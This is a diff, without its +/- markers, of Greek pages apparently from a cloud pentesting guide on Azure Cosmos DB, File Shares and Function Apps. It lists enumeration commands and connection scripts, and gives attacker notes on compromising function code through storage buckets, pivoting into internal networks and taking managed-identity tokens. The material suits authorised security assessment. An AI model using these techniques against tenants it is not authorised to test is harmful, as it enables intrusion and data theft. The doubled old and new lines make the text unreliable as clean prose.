Ένας βασικός τομέας του CosmosDB είναι ο Azure Cosmos Account. **Azure Cosmos Account**, λειτουργεί ως το σημείο εισόδου στις βάσεις δεδομένων. Ο λογαριασμός καθορίζει βασικές ρυθμίσεις όπως η παγκόσμια διανομή, τα επίπεδα συνέπειας και το συγκεκριμένο API που θα χρησιμοποιηθεί, όπως το NoSQL. Μέσω του λογαριασμού, μπορείτε να ρυθμίσετε την παγκόσμια αναπαραγωγή για να διασφαλίσετε ότι τα δεδομένα είναι διαθέσιμα σε πολλές περιοχές για γρήγορη πρόσβαση. Επιπλέον, μπορείτε να επιλέξετε ένα επίπεδο συνέπειας που ισορροπεί μεταξύ απόδοσης και ακρίβειας δεδομένων, με επιλογές που κυμαίνονται από Strong έως Eventual consistency.
|
||||
|
||||
### NoSQL (sql)
|
||||
Το Azure Cosmos DB NoSQL API είναι ένα API βασισμένο σε έγγραφα που χρησιμοποιεί το JSON ως μορφή δεδομένων του. Παρέχει μια σύνταξη ερωτήσεων παρόμοια με τη SQL για την εκτέλεση ερωτήσεων σε αντικείμενα JSON, καθιστώντας το κατάλληλο για εργασία με δομημένα και ημι-δομημένα δεδομένα. Το endpoint της υπηρεσίας είναι:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Το API NoSQL της Azure Cosmos DB είναι ένα API βασισμένο σε έγγραφα που χρησιμοποιεί το JSON ως μορφή δεδομένων του. Παρέχει μια σύνταξη ερωτήσεων παρόμοια με τη SQL για την εκτέλεση ερωτήσεων σε αντικείμενα JSON, καθιστώντας το κατάλληλο για εργασία με δομημένα και ημι-δομημένα δεδομένα. Το endpoint της υπηρεσίας είναι:
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Βάσεις Δεδομένων
|
||||
Μέσα σε έναν λογαριασμό, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων, οι οποίες λειτουργούν ως λογικές ομάδες κοντέινερ. Μια βάση δεδομένων λειτουργεί ως όριο για τη διαχείριση πόρων και τα δικαιώματα χρηστών. Οι βάσεις δεδομένων μπορούν είτε να μοιράζονται την παρεχόμενη απόδοση σε όλα τα κοντέινερ τους είτε να εκχωρούν αποκλειστική απόδοση σε μεμονωμένα κοντέινερ.
|
||||
Μέσα σε έναν λογαριασμό, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων, οι οποίες λειτουργούν ως λογικές ομάδες κοντέινερ. Μια βάση δεδομένων λειτουργεί ως όριο για τη διαχείριση πόρων και τα δικαιώματα χρηστών. Οι βάσεις δεδομένων μπορούν είτε να μοιράζονται την παραχωρημένη απόδοση σε όλα τα κοντέινερ τους είτε να εκχωρούν αποκλειστική απόδοση σε μεμονωμένα κοντέινερ.
|
||||
|
||||
#### Κοντέινερ
|
||||
Η βασική μονάδα αποθήκευσης δεδομένων είναι το κοντέινερ, το οποίο περιέχει έγγραφα JSON και είναι αυτόματα ευρετηριασμένο για αποδοτική αναζήτηση. Τα κοντέινερ είναι ελαστικά κλιμακούμενα και κατανεμημένα σε κατατμήσεις, οι οποίες καθορίζονται από ένα κλειδί κατατμήσεων που ορίζει ο χρήστης. Το κλειδί κατατμήσεων είναι κρίσιμο για την εξασφάλιση βέλτιστης απόδοσης και ομοιόμορφης κατανομής δεδομένων. Για παράδειγμα, ένα κοντέινερ μπορεί να αποθηκεύει δεδομένα πελατών, με το "customerId" ως το κλειδί κατατμήσεων.
|
||||
|
||||
#### Αρίθμηση
|
||||
#### Αριθμητική
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
@@ -65,11 +60,9 @@ az cosmosdb sql trigger list --account-name <AccountName> --container-name <Cont
|
||||
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
@@ -112,14 +105,12 @@ Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "
|
||||
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Σύνδεση
|
||||
|
||||
Για να συνδεθείτε, χρειάζεται η βιβλιοθήκη azure-cosmosDB (pip install azure-cosmos). Επιπλέον, το endpoint και το key είναι κρίσιμα στοιχεία για να γίνει η σύνδεση.
|
||||
{% code overflow="wrap" %}
|
||||
Για να συνδεθείτε, απαιτείται η βιβλιοθήκη azure-cosmosDB (pip install azure-cosmos). Επιπλέον, το endpoint και το key είναι κρίσιμα στοιχεία για να γίνει η σύνδεση.
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
@@ -158,11 +149,7 @@ print("All items in the container:")
|
||||
for item in all_items:
|
||||
print(item)
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Ένας άλλος τρόπος για να καθιερώσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (δείτε για περισσότερα)
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Ένας άλλος τρόπος για να καθιερώσετε μια σύνδεση είναι να χρησιμοποιήσετε το **DefaultAzureCredential()**. Απλώς χρειάζεται να συνδεθείτε (az login) με τον λογαριασμό που έχει τις άδειες και να το εκτελέσετε. Για αυτή την περίπτωση, πρέπει να γίνει μια ανάθεση ρόλου, δίνοντας τις απαραίτητες άδειες (δείτε για περισσότερα).
|
||||
```python
|
||||
from azure.identity import DefaultAzureCredential
|
||||
from azure.cosmos import CosmosClient
|
||||
@@ -187,17 +174,11 @@ item = {
|
||||
container.create_item(item)
|
||||
print("Document inserted.")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### MongoDB
|
||||
Η API NoSQL του MongoDB είναι μια API βασισμένη σε έγγραφα που χρησιμοποιεί το BSON (Binary JSON) σε μορφή δεδομένων παρόμοια με το JSON. Παρέχει μια γλώσσα ερωτήσεων με δυνατότητες συγκέντρωσης, καθιστώντας την κατάλληλη για εργασία με δομημένα, ημι-δομημένα και αδόμητα δεδομένα. Το endpoint της υπηρεσίας συνήθως ακολουθεί αυτή τη μορφή:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
Η API MongoDB NoSQL είναι μια API βασισμένη σε έγγραφα που χρησιμοποιεί το BSON (Binary JSON) σε μορφή δεδομένων. Παρέχει μια γλώσσα ερωτήσεων με δυνατότητες συγκέντρωσης, καθιστώντας την κατάλληλη για εργασία με δομημένα, ημι-δομημένα και αδόμητα δεδομένα. Το endpoint της υπηρεσίας συνήθως ακολουθεί αυτή τη μορφή:
|
||||
```bash
|
||||
mongodb://<hostname>:<port>/<database>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Βάσεις Δεδομένων
|
||||
Στο MongoDB, μπορείτε να δημιουργήσετε μία ή περισσότερες βάσεις δεδομένων μέσα σε μια παρουσία. Κάθε βάση δεδομένων λειτουργεί ως λογική ομαδοποίηση συλλογών και παρέχει ένα όριο για την οργάνωση και διαχείριση πόρων. Οι βάσεις δεδομένων βοηθούν στη λογική διαχωρισμό και διαχείριση των δεδομένων, όπως για διαφορετικές εφαρμογές ή έργα.
|
||||
|
||||
@@ -206,9 +187,8 @@ mongodb://<hostname>:<port>/<database>
|
||||
|
||||
#### Αρίθμηση
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
@@ -235,11 +215,9 @@ az cosmosdb mongodb role definition list --account-name <AccountName> --resource
|
||||
# List all user definitions for MongoDB within an Azure Cosmos DB account
|
||||
az cosmosdb mongodb user definition list --account-name <AccountName> --resource-group <ResourceGroupName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-Command -Module Az.CosmosDB
|
||||
|
||||
@@ -271,14 +249,12 @@ Get-AzCosmosDBMongoDBDatabaseThroughput -AccountName <account-name> -ResourceGro
|
||||
Get-AzCosmosDBMongoDBRoleDefinition -AccountName <account-name> -ResourceGroupName <resource-group-name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Σύνδεση
|
||||
|
||||
Εδώ ο κωδικός πρόσβασης μπορείτε να τους βρείτε με τα κλειδιά ή με τη μέθοδο που περιγράφεται στην ενότητα privesc.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from pymongo import MongoClient
|
||||
|
||||
@@ -311,30 +287,28 @@ document = {
|
||||
result = collection.insert_one(document)
|
||||
print(f"Inserted document with ID: {result.inserted_id}")
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Αναφορές
|
||||
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
* [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api](https://learn.microsoft.com/en-us/azure/cosmos-db/choose-api)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/](https://learn.microsoft.com/en-us/azure/cosmos-db/)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/introduction](https://learn.microsoft.com/en-us/azure/cosmos-db/introduction)
|
||||
- [https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/security/how-to-grant-data-plane-role-based-access?tabs=built-in-definition%2Ccsharp&pivots=azure-interface-cli)
|
||||
|
||||
## Ανάβαση Δικαιωμάτων
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-cosmosDB-privesc.md" %}
|
||||
[az-cosmosDB-privesc.md](../az-privilege-escalation/az-cosmosDB-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-cosmosDB-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Μετά την Εκμετάλλευση
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-cosmosDB-post-exploitation.md" %}
|
||||
[az-cosmosDB-post-exploitation.md](../az-post-exploitation/az-sql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-sql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## ToDo
|
||||
|
||||
* Η υπόλοιπη DB εδώ, πίνακες, cassandra, gremlin...
|
||||
* Η υπόλοιπη βάση δεδομένων εδώ, πίνακες, cassandra, gremlin...
|
||||
* Ρίξτε μια ματιά στην εκμετάλλευση "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read" και τους ορισμούς ρόλων γιατί εδώ μπορεί να υπάρχει privesc
|
||||
* Ρίξτε μια ματιά στις αποκαταστάσεις
|
||||
|
||||
|
||||
@@ -18,20 +18,20 @@
|
||||
- **Daily backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε μέρα σε μια καθορισμένη ώρα (π.χ. 19.30 UTC) και αποθηκεύεται από 1 έως 200 ημέρες.
|
||||
- **Weekly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε εβδομάδα σε μια καθορισμένη ημέρα και ώρα (Κυριακή στις 19.30) και αποθηκεύεται από 1 έως 200 εβδομάδες.
|
||||
- **Monthly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε μήνα σε μια καθορισμένη ημέρα και ώρα (π.χ. πρώτη Κυριακή στις 19.30) και αποθηκεύεται από 1 έως 120 μήνες.
|
||||
- **Yearly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε χρόνο σε μια καθορισμένη ημέρα και ώρα (π.χ. πρώτη Κυριακή του Ιανουαρίου στις 19.30) και αποθηκεύεται από 1 έως 10 χρόνια.
|
||||
- **Yearly backup**: Ένα σημείο αντιγράφου ασφαλείας δημιουργείται κάθε χρόνο σε μια καθορισμένη ημέρα και ώρα (π.χ. Ιανουάριος πρώτη Κυριακή στις 19.30) και αποθηκεύεται από 1 έως 10 χρόνια.
|
||||
- Είναι επίσης δυνατή η εκτέλεση **χειροκίνητων αντιγράφων ασφαλείας και στιγμιότυπων οποιαδήποτε στιγμή**. Τα αντίγραφα ασφαλείας και τα στιγμιότυπα είναι στην πραγματικότητα τα ίδια σε αυτό το πλαίσιο.
|
||||
|
||||
### Supported Authentications via SMB
|
||||
|
||||
- **On-premises AD DS Authentication**: Χρησιμοποιεί τα διαπιστευτήρια Active Directory τοπικά συγχρονισμένα με το Microsoft Entra ID για πρόσβαση βάσει ταυτότητας. Απαιτεί συνδεσιμότητα δικτύου με το τοπικό AD DS.
|
||||
- **Microsoft Entra Domain Services Authentication**: Εκμεταλλεύεται τις Υπηρεσίες Τομέα Microsoft Entra (cloud-based AD) για να παρέχει πρόσβαση χρησιμοποιώντας διαπιστευτήρια Microsoft Entra.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: Επιτρέπει στους χρήστες Microsoft Entra να πιστοποιούν τις κοινές αποθήκες αρχείων Azure μέσω του διαδικτύου χρησιμοποιώντας Kerberos. Υποστηρίζει υβριδικές εικονικές μηχανές που είναι συνδεδεμένες με το Microsoft Entra ή Microsoft Entra χωρίς να απαιτεί συνδεσιμότητα με τοπικούς ελεγκτές τομέα. Αλλά δεν υποστηρίζει μόνο cloud ταυτότητες.
|
||||
- **Microsoft Entra Kerberos for Hybrid Identities**: Επιτρέπει στους χρήστες Microsoft Entra να πιστοποιούν τις κοινές αποθήκες αρχείων Azure μέσω του διαδικτύου χρησιμοποιώντας Kerberos. Υποστηρίζει υβριδικές εικονικές μηχανές που είναι συνδεδεμένες με Microsoft Entra χωρίς να απαιτεί συνδεσιμότητα με τοπικούς ελεγκτές τομέα. Αλλά δεν υποστηρίζει μόνο cloud ταυτότητες.
|
||||
- **AD Kerberos Authentication for Linux Clients**: Επιτρέπει στους πελάτες Linux να χρησιμοποιούν Kerberos για την πιστοποίηση SMB μέσω τοπικού AD DS ή Υπηρεσιών Τομέα Microsoft Entra.
|
||||
|
||||
## Enumeration
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
{{#tabs }}
|
||||
{{#tab name="az" }}
|
||||
```bash
|
||||
# Get storage accounts
|
||||
az storage account list #Get the account name from here
|
||||
@@ -58,9 +58,9 @@ az storage file list --account-name <name> --share-name <share-name> --snapshot
|
||||
# Download snapshot/backup
|
||||
az storage file download-batch -d . --account-name <name> --source <share-name> --snapshot <snapshot-version>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell"}}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
Get-AzStorageAccount
|
||||
|
||||
@@ -81,8 +81,8 @@ Get-AzStorageShare -Context (Get-AzStorageAccount -ResourceGroupName "<resource-
|
||||
Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -StorageAccountName "<storage-account-name>" -StorageAccountKey (Get-AzStorageAccountKey -ResourceGroupName "<resource-group-name>" -Name "<storage-account-name>" | Select-Object -ExpandProperty Value) -SnapshotTime "<snapshot-version>")
|
||||
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!NOTE]
|
||||
> Από προεπιλογή, το `az` cli θα χρησιμοποιήσει ένα κλειδί λογαριασμού για να υπογράψει ένα κλειδί και να εκτελέσει την ενέργεια. Για να χρησιμοποιήσετε τα δικαιώματα του Entra ID principal, χρησιμοποιήστε τις παραμέτρους `--auth-mode login --enable-file-backup-request-intent`.
|
||||
@@ -93,7 +93,7 @@ Get-AzStorageFile -ShareName "<share-name>" -Context (New-AzStorageContext -Stor
|
||||
|
||||
### Σύνδεση
|
||||
|
||||
Αυτά είναι τα σενάρια που προτείνονται από την Azure κατά τη στιγμή της συγγραφής για να συνδεθείτε σε ένα File Share:
|
||||
Αυτά είναι τα σενάρια που προτείνονται από την Azure κατά τη διάρκεια της συγγραφής για να συνδεθείτε σε ένα File Share:
|
||||
|
||||
Πρέπει να αντικαταστήσετε τους χώρους `<STORAGE-ACCOUNT>`, `<ACCESS-KEY>` και `<FILE-SHARE-NAME>`.
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
**Azure Function Apps** είναι μια **serverless compute service** που σας επιτρέπει να εκτελείτε μικρά κομμάτια κώδικα, που ονομάζονται **functions**, χωρίς να διαχειρίζεστε την υποκείμενη υποδομή. Είναι σχεδιασμένα να εκτελούν κώδικα σε απάντηση σε διάφορους ενεργοποιητές, όπως **HTTP requests, timers, ή events από άλλες υπηρεσίες Azure** όπως Blob Storage ή Event Hubs. Τα Function Apps υποστηρίζουν πολλές γλώσσες προγραμματισμού, συμπεριλαμβανομένων των C#, Python, JavaScript και Java, καθιστώντας τα ευέλικτα για την κατασκευή **event-driven applications**, αυτοματοποίηση ροών εργασίας ή ενσωμάτωση υπηρεσιών. Είναι οικονομικά αποδοτικά, καθώς συνήθως πληρώνετε μόνο για τον χρόνο υπολογισμού που χρησιμοποιείται όταν εκτελείται ο κώδικάς σας.
|
||||
**Azure Function Apps** είναι μια **serverless compute service** που σας επιτρέπει να εκτελείτε μικρά κομμάτια κώδικα, που ονομάζονται **functions**, χωρίς να διαχειρίζεστε την υποκείμενη υποδομή. Είναι σχεδιασμένα να εκτελούν κώδικα σε απάντηση σε διάφορους ενεργοποιητές, όπως **HTTP requests, timers, ή events από άλλες υπηρεσίες Azure** όπως Blob Storage ή Event Hubs. Τα Function Apps υποστηρίζουν πολλές γλώσσες προγραμματισμού, συμπεριλαμβανομένων των C#, Python, JavaScript και Java, καθιστώντας τα ευέλικτα για την κατασκευή **event-driven applications**, αυτοματοποίηση ροών εργασίας ή ενσωμάτωση υπηρεσιών. Είναι οικονομικά, καθώς συνήθως πληρώνετε μόνο για τον χρόνο υπολογισμού που χρησιμοποιείται όταν εκτελείται ο κώδικάς σας.
|
||||
|
||||
> [!NOTE]
|
||||
> Σημειώστε ότι **Functions είναι ένα υποσύνολο των App Services**, επομένως, πολλές από τις δυνατότητες που συζητούνται εδώ θα χρησιμοποιηθούν επίσης από εφαρμογές που δημιουργούνται ως Azure Apps (`webapp` στο cli).
|
||||
@@ -13,9 +13,9 @@
|
||||
|
||||
- **Flex Consumption Plan**: Προσφέρει **dynamic, event-driven scaling** με τιμολόγηση pay-as-you-go, προσθέτοντας ή αφαιρώντας παραδείγματα λειτουργιών με βάση τη ζήτηση. Υποστηρίζει **virtual networking** και **pre-provisioned instances** για να μειώσει τις κρύες εκκινήσεις, καθιστώντας το κατάλληλο για **variable workloads** που δεν απαιτούν υποστήριξη κοντέινερ.
|
||||
- **Traditional Consumption Plan**: Η προεπιλεγμένη serverless επιλογή, όπου **πληρώνετε μόνο για τους υπολογιστικούς πόρους όταν εκτελούνται οι λειτουργίες**. Αυξάνεται αυτόματα με βάση τα εισερχόμενα γεγονότα και περιλαμβάνει **cold start optimizations**, αλλά δεν υποστηρίζει αναπτύξεις κοντέινερ. Ιδανικό για **intermittent workloads** που απαιτούν αυτόματη κλιμάκωση.
|
||||
- **Premium Plan**: Σχεδιασμένο για **consistent performance**, με **prewarmed workers** για να εξαλείψει τις κρύες εκκινήσεις. Προσφέρει **extended execution times, virtual networking**, και υποστηρίζει **custom Linux images**, καθιστώντας το ιδανικό για **mission-critical applications** που χρειάζονται υψηλή απόδοση και προηγμένες δυνατότητες.
|
||||
- **Premium Plan**: Σχεδιασμένο για **consistent performance**, με **prewarmed workers** για να εξαλείψει τις κρύες εκκινήσεις. Προσφέρει **extended execution times, virtual networking**, και υποστηρίζει **custom Linux images**, καθιστώντας το τέλειο για **mission-critical applications** που χρειάζονται υψηλή απόδοση και προηγμένες δυνατότητες.
|
||||
- **Dedicated Plan**: Λειτουργεί σε αφιερωμένες εικονικές μηχανές με **predictable billing** και υποστηρίζει χειροκίνητη ή αυτόματη κλιμάκωση. Επιτρέπει την εκτέλεση πολλών εφαρμογών στο ίδιο σχέδιο, παρέχει **compute isolation**, και εξασφαλίζει **secure network access** μέσω App Service Environments, καθιστώντας το ιδανικό για **long-running applications** που χρειάζονται συνεπή κατανομή πόρων.
|
||||
- **Container Apps**: Επιτρέπει την ανάπτυξη **containerized function apps** σε ένα διαχειριζόμενο περιβάλλον, παράλληλα με μικροϋπηρεσίες και APIs. Υποστηρίζει προσαρμοσμένες βιβλιοθήκες, μετανάστευση κληρονομημένων εφαρμογών, και **GPU processing**, εξαλείφοντας τη διαχείριση του Kubernetes cluster. Ιδανικό για **event-driven, scalable containerized applications**.
|
||||
- **Container Apps**: Επιτρέπει την ανάπτυξη **containerized function apps** σε ένα διαχειριζόμενο περιβάλλον, παράλληλα με μικροϋπηρεσίες και APIs. Υποστηρίζει προσαρμοσμένες βιβλιοθήκες, μετανάστευση κληρονομικών εφαρμογών, και **GPU processing**, εξαλείφοντας τη διαχείριση του Kubernetes cluster. Ιδανικό για **event-driven, scalable containerized applications**.
|
||||
|
||||
### **Storage Buckets**
|
||||
|
||||
@@ -24,7 +24,7 @@
|
||||
Επιπλέον, τροποποιώντας τον κώδικα μέσα στο bucket (στα διάφορα φορμά που μπορεί να αποθηκευτεί), ο **κώδικας της εφαρμογής θα τροποποιηθεί στον νέο και θα εκτελείται** την επόμενη φορά που θα κληθεί η Function.
|
||||
|
||||
> [!CAUTION]
|
||||
> Αυτό είναι πολύ ενδιαφέρον από την προοπτική ενός επιτιθέμενου καθώς η **write access πάνω σε αυτό το bucket** θα επιτρέψει σε έναν επιτιθέμενο να **συμβιβάσει τον κώδικα και να κλιμακώσει τα προνόμια** στις διαχειριζόμενες ταυτότητες μέσα στην Function App.
|
||||
> Αυτό είναι πολύ ενδιαφέρον από την προοπτική των επιτιθέμενων καθώς η **write access πάνω σε αυτό το bucket** θα επιτρέψει σε έναν επιτιθέμενο να **συμβιβάσει τον κώδικα και να κλιμακώσει τα προνόμια** στις διαχειριζόμενες ταυτότητες μέσα στην Function App.
|
||||
>
|
||||
> Περισσότερα σχετικά με αυτό στην **ενότητα κλιμάκωσης προνομίων**.
|
||||
|
||||
@@ -40,13 +40,13 @@
|
||||
- Είναι επίσης δυνατό να **δώσετε ή να περιορίσετε την πρόσβαση** σε μια Function App από **ένα εσωτερικό δίκτυο (VPC)**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Αυτό είναι πολύ ενδιαφέρον από την προοπτική ενός επιτιθέμενου καθώς μπορεί να είναι δυνατό να **pivot σε εσωτερικά δίκτυα** από μια ευάλωτη Function που είναι εκτεθειμένη στο Διαδίκτυο.
|
||||
> Αυτό είναι πολύ ενδιαφέρον από την προοπτική των επιτιθέμενων καθώς μπορεί να είναι δυνατό να **pivot σε εσωτερικά δίκτυα** από μια ευάλωτη Function που εκτίθεται στο Διαδίκτυο.
|
||||
|
||||
### **Function App Settings & Environment Variables**
|
||||
|
||||
Είναι δυνατό να ρυθμίσετε μεταβλητές περιβάλλοντος μέσα σε μια εφαρμογή, οι οποίες μπορεί να περιέχουν ευαίσθητες πληροφορίες. Επιπλέον, από προεπιλογή οι env μεταβλητές **`AzureWebJobsStorage`** και **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (μεταξύ άλλων) δημιουργούνται. Αυτές είναι ιδιαίτερα ενδιαφέρουσες γιατί **περιέχουν το κλειδί λογαριασμού για τον έλεγχο με ΠΛΗΡΗ δικαιώματα τον λογαριασμό storage που περιέχει τα δεδομένα της εφαρμογής**. Αυτές οι ρυθμίσεις είναι επίσης απαραίτητες για την εκτέλεση του κώδικα από τον λογαριασμό Storage.
|
||||
Είναι δυνατό να ρυθμίσετε μεταβλητές περιβάλλοντος μέσα σε μια εφαρμογή, οι οποίες μπορεί να περιέχουν ευαίσθητες πληροφορίες. Επιπλέον, από προεπιλογή οι μεταβλητές env **`AzureWebJobsStorage`** και **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** (μεταξύ άλλων) δημιουργούνται. Αυτές είναι ιδιαίτερα ενδιαφέρουσες γιατί **περιέχουν το κλειδί λογαριασμού για τον έλεγχο με ΠΛΗΡΗ δικαιώματα τον λογαριασμό storage που περιέχει τα δεδομένα της εφαρμογής**. Αυτές οι ρυθμίσεις είναι επίσης απαραίτητες για την εκτέλεση του κώδικα από τον Λογαριασμό Storage.
|
||||
|
||||
Αυτές οι env μεταβλητές ή παράμετροι ρύθμισης ελέγχουν επίσης πώς η Function εκτελεί τον κώδικα, για παράδειγμα αν **`WEBSITE_RUN_FROM_PACKAGE`** υπάρχει, θα υποδεικνύει το URL όπου βρίσκεται ο κώδικας της εφαρμογής.
|
||||
Αυτές οι μεταβλητές env ή παράμετροι ρύθμισης ελέγχουν επίσης πώς η Function εκτελεί τον κώδικα, για παράδειγμα αν **`WEBSITE_RUN_FROM_PACKAGE`** υπάρχει, θα υποδεικνύει το URL όπου βρίσκεται ο κώδικας της εφαρμογής.
|
||||
|
||||
### **Function Sandbox**
|
||||
|
||||
@@ -61,9 +61,9 @@
|
||||
Η **system assigned** θα είναι μια διαχειριζόμενη ταυτότητα που **μόνο η λειτουργία** που έχει ανατεθεί θα μπορεί να χρησιμοποιήσει, ενώ οι **user assigned** διαχειριζόμενες ταυτότητες είναι διαχειριζόμενες ταυτότητες που **οποιαδήποτε άλλη υπηρεσία Azure θα μπορεί να χρησιμοποιήσει**.
|
||||
|
||||
> [!NOTE]
|
||||
> Ακριβώς όπως στις [**VMs**](vms/index.html), οι Functions μπορούν να έχουν **1 system assigned** διαχειριζόμενη ταυτότητα και **πολλές user assigned**, επομένως είναι πάντα σημαντικό να προσπαθείτε να βρείτε όλες αυτές αν συμβιβάσετε τη λειτουργία γιατί μπορεί να είστε σε θέση να κλιμακώσετε τα προνόμια σε πολλές διαχειριζόμενες ταυτότητες από μόνο μία Function.
|
||||
> Ακριβώς όπως στις [**VMs**](vms/index.html), οι Functions μπορούν να έχουν **1 system assigned** διαχειριζόμενη ταυτότητα και **πολλές user assigned**, επομένως είναι πάντα σημαντικό να προσπαθείτε να βρείτε όλες αυτές αν συμβιβάσετε τη λειτουργία γιατί μπορεί να μπορείτε να κλιμακώσετε τα προνόμια σε πολλές διαχειριζόμενες ταυτότητες από μόνο μία Function.
|
||||
>
|
||||
> Αν δεν χρησιμοποιείται καμία διαχειριζόμενη ταυτότητα συστήματος αλλά μία ή περισσότερες διαχειριζόμενες ταυτότητες χρηστών είναι συνδεδεμένες σε μια λειτουργία, από προεπιλογή δεν θα μπορείτε να αποκτήσετε κανένα token.
|
||||
> Αν δεν χρησιμοποιείται μια διαχειριζόμενη ταυτότητα συστήματος αλλά μία ή περισσότερες διαχειριζόμενες ταυτότητες χρηστών είναι συνδεδεμένες σε μια λειτουργία, από προεπιλογή δεν θα μπορείτε να αποκτήσετε κανένα token.
|
||||
|
||||
Είναι δυνατό να χρησιμοποιήσετε τα [**PEASS scripts**](https://github.com/peass-ng/PEASS-ng) για να αποκτήσετε tokens από την προεπιλεγμένη διαχειριζόμενη ταυτότητα από το metadata endpoint. Ή μπορείτε να τα αποκτήσετε **χειροκίνητα** όπως εξηγείται σε:
|
||||
|
||||
@@ -74,7 +74,7 @@
|
||||
## Access Keys
|
||||
|
||||
> [!NOTE]
|
||||
